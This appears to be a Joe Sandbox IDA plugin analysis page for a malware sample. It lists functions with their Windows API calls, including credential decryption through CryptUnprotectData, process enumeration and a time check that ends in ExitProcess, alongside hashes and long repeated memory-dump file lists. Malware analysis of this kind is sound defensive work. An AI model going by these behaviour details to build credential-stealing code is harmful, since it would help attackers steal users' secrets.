Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 562dbca1de5f906c4eefa7daf0b4e5457259797662369a8e655da11ea07cbc42
Instruction ID: 4406d16ce6d013763b2dcb84bd2484df948d9bb13c8a25418a1df76e85ca596f
Opcode Fuzzy Hash: 562dbca1de5f906c4eefa7daf0b4e5457259797662369a8e655da11ea07cbc42
Instruction Fuzzy Hash: 2C4171F5D04219DFDB10DFE4CD89BEEB7B9BB48304F1042A9E609A6280D7745A84CF96

Function 00486920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0048696C
sscanf.NTDLL ref: 00486999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004869B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004869C0
ExitProcess.KERNEL32 ref: 004869DA

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d0acc49ea327c8f3bb93e8f1d72d7c8e07bae1b65edddd9322fba2035d2c5f8a
Instruction ID: eddc1433ef7a3f56e174c34823eb496ab8357cb2a9f1a000371ea277f7076795
Opcode Fuzzy Hash: d0acc49ea327c8f3bb93e8f1d72d7c8e07bae1b65edddd9322fba2035d2c5f8a
Instruction Fuzzy Hash: 7A21EEB5D14208ABCF44EFE4D9459EEB7B6FF48300F04856EE406E3250EB745645CB69

Function 00477240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0047724D
RtlAllocateHeap.NTDLL(00000000), ref: 00477254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00477281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 004772A4
LocalFree.KERNEL32(?), ref: 004772AE

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 244b02b720ca9f54d762347ea7d0817bc4501b35f77656e5083415348f325326
Instruction ID: 125770a6a37d659a905d2a8a248da9bf32e15df793873a50f489baa627936847
Opcode Fuzzy Hash: 244b02b720ca9f54d762347ea7d0817bc4501b35f77656e5083415348f325326
Instruction Fuzzy Hash: 6C0112B5A40208BBEB10DFD4CD45F9E7779EB44700F108155FB09AB2C0D674AA418B69

Function 00489600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0048961E
Process32First.KERNEL32(00490ACA,00000128), ref: 00489632
Process32Next.KERNEL32(00490ACA,00000128), ref: 00489647
StrCmpCA.SHLWAPI(?,00000000), ref: 0048965C
CloseHandle.KERNEL32(00490ACA), ref: 0048967A

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d59316a50639213f8f546f4f3ff45a608908a1b7470f9bdffc9c2f3ec8db4ab0
Instruction ID: b5645760c68264e1900152c61d95bbdd51f3d2b660eaccbc5566d5dd205ba0bf
Opcode Fuzzy Hash: d59316a50639213f8f546f4f3ff45a608908a1b7470f9bdffc9c2f3ec8db4ab0
Instruction Fuzzy Hash: F2010CB5A00208ABCB14DFA5DD58BEEB7F9EB48300F144699A905A6240EB349F81DF51

Function 00834AB7 Relevance: 6.6, Strings: 4, Instructions: 1601COMMON

Download Yara Rule

Strings

\>, xrefs: 008353F7
8@;a, xrefs: 008351C6
qs, xrefs: 00834C4E
-cV, xrefs: 00835356

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \>$8@;a$qs$-cV
API String ID: 0-2433157952
Opcode ID: 4932d14879632d8a8747b626a5f71761e26e59d688e1cc8fc05f411a3906afef
Instruction ID: 1807e3a8f7c7a9656580adb24076ba4b3f4af4f1fbbd73724f7b8f1b39445080
Opcode Fuzzy Hash: 4932d14879632d8a8747b626a5f71761e26e59d688e1cc8fc05f411a3906afef
Instruction Fuzzy Hash: B6B2D4F3A0C204AFE3146E29EC8567AFBE9EFD4720F16893DE6C4C3744E63558058696

Function 00839B55 Relevance: 6.6, Strings: 4, Instructions: 1599COMMON

Download Yara Rule

Strings

W"[_, xrefs: 0083A788
'\y, xrefs: 00839F2C
\ ]S, xrefs: 0083A1BC
A/wM, xrefs: 0083A7DA

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '\y$A/wM$W"[_$\ ]S
API String ID: 0-1311202765
Opcode ID: a8ba1e9cc21f18855daace36590d6c20a3b1629758bdd93e206eef52d2cf7521
Instruction ID: ebd6179d80686a007cdb058bebe3f9b5c6961e459c0a6d9f3a160bd0b5ecba22
Opcode Fuzzy Hash: a8ba1e9cc21f18855daace36590d6c20a3b1629758bdd93e206eef52d2cf7521
Instruction Fuzzy Hash: B3B2E7F360C2009FE704AE2DEC8566AFBEAEFD4720F16893DE6C4C7744E63558058696

Function 0084566A Relevance: 6.6, Strings: 4, Instructions: 1592COMMON

Download Yara Rule

Strings

^V>+, xrefs: 00846254
~qV, xrefs: 0084633B
w7?, xrefs: 00846927
j=, xrefs: 00846516

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ^V>+$~qV$j=$w7?
API String ID: 0-3978660184
Opcode ID: dfcbbc4472744708843cdddca7b1cce58291b42fa1770613fab77bc92be90dc4
Instruction ID: 3024a4ff8b15c3625b9dfd2a447330ff63a6edefd76d9c03c1744d37f2a26c2a
Opcode Fuzzy Hash: dfcbbc4472744708843cdddca7b1cce58291b42fa1770613fab77bc92be90dc4
Instruction Fuzzy Hash: 94B227F360C2049FE708AE2DEC8567ABBE5EF94320F16893DE6C5C7744EA3558048697

Function 00488EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00475184,40000001,00000000,00000000,?,00475184), ref: 00488EC0

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: f295be6167c6aa2ddad929f34612efa6ac73c827f69b7a578ce4b54db13ccd20
Instruction ID: 435e05716119e9302b44a18fb252e8e54d80e73f164d59b7a9bb955f22a83da2
Opcode Fuzzy Hash: f295be6167c6aa2ddad929f34612efa6ac73c827f69b7a578ce4b54db13ccd20
Instruction Fuzzy Hash: EB111FB0200204BFDB00DFA4D884FBB33AAAF89304F509949FA158B250DB39EC81DB65

Function 00487A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0123E028,00000000,?,00490E10,00000000,?,00000000,00000000), ref: 00487A63
RtlAllocateHeap.NTDLL(00000000), ref: 00487A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0123E028,00000000,?,00490E10,00000000,?,00000000,00000000,?), ref: 00487A7D
wsprintfA.USER32 ref: 00487AB7

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c5d548b3ca59dee6ef332bd1ba82ba065e1ec2f1aafa041fe1a2b85f50878ce9
Instruction ID: 1ed44dfdbc00fe110136d4ac6257bcccb391fce8079596815fd1f1bed42ebf2b
Opcode Fuzzy Hash: c5d548b3ca59dee6ef332bd1ba82ba065e1ec2f1aafa041fe1a2b85f50878ce9
Instruction Fuzzy Hash: 6F1182B1D45218EBDB109B54DC45F69B778FB04711F10479AE51A932C0D7785A40CF55

Function 00848C69 Relevance: 5.4, Strings: 3, Instructions: 1633COMMON

Download Yara Rule

Strings

5|, xrefs: 00849152
.8?, xrefs: 00849C9E
#Q}3, xrefs: 0084934E

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #Q}3$.8?$5|
API String ID: 0-3686594883
Opcode ID: 08b3badc2ebbf2de4ca0ae1d1033e1cf81c64a78f9a1f56a6afb0df27af2c4d2
Instruction ID: d5e0a7af8fbc90a57b2a9f0638cc84702d8cee00be13688c1befcbefc272f6fd
Opcode Fuzzy Hash: 08b3badc2ebbf2de4ca0ae1d1033e1cf81c64a78f9a1f56a6afb0df27af2c4d2
Instruction Fuzzy Hash: 10B228F360C2049FE304AE2DEC8567AF7D9EF94320F1A463DEAC5C7744EA3598058696

Function 0083CFC3 Relevance: 5.3, Strings: 3, Instructions: 1544COMMON

Download Yara Rule

Strings

'lt, xrefs: 0083D8C1
n+7{, xrefs: 0083E118
3_w, xrefs: 0083D85A

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3_w$'lt$n+7{
API String ID: 0-1479877609
Opcode ID: 86c0617a2f033c783604320c57828f05cf7116b95526fcfcda4d5679b473af51
Instruction ID: fa797d8ce00741a463cda908027a118804162bb4d3727e48c31e3de1d6a6d846
Opcode Fuzzy Hash: 86c0617a2f033c783604320c57828f05cf7116b95526fcfcda4d5679b473af51
Instruction Fuzzy Hash: 22B2F7F390C2149FE304AE29EC8566AFBE5EF94720F1A493DEAC4C3744E67598058793

Function 0083337B Relevance: 5.1, Strings: 3, Instructions: 1331COMMON

Download Yara Rule

Strings

X](w, xrefs: 008340C6
.Mn?, xrefs: 00833E09
@p_o, xrefs: 008337F2

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .Mn?$@p_o$X](w
API String ID: 0-2197809461
Opcode ID: 85c48d064934271844a186d6408af96387bf5c1bd1efe37b816ec7e8b8674288
Instruction ID: 68b60b7e56606e257a53bcf411badcf76b5c9ea694ef982f54bf4e2d00a9fc09
Opcode Fuzzy Hash: 85c48d064934271844a186d6408af96387bf5c1bd1efe37b816ec7e8b8674288
Instruction Fuzzy Hash: BC9205F360C204AFE3046E29EC85B7ABBE9EFD4720F16863DE6C483744E63558158697

Function 00836992 Relevance: 5.1, Strings: 3, Instructions: 1323COMMON

Download Yara Rule

Strings

_b~x, xrefs: 00836CFD
IWw, xrefs: 008375C8
E-b, xrefs: 00836A0F

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
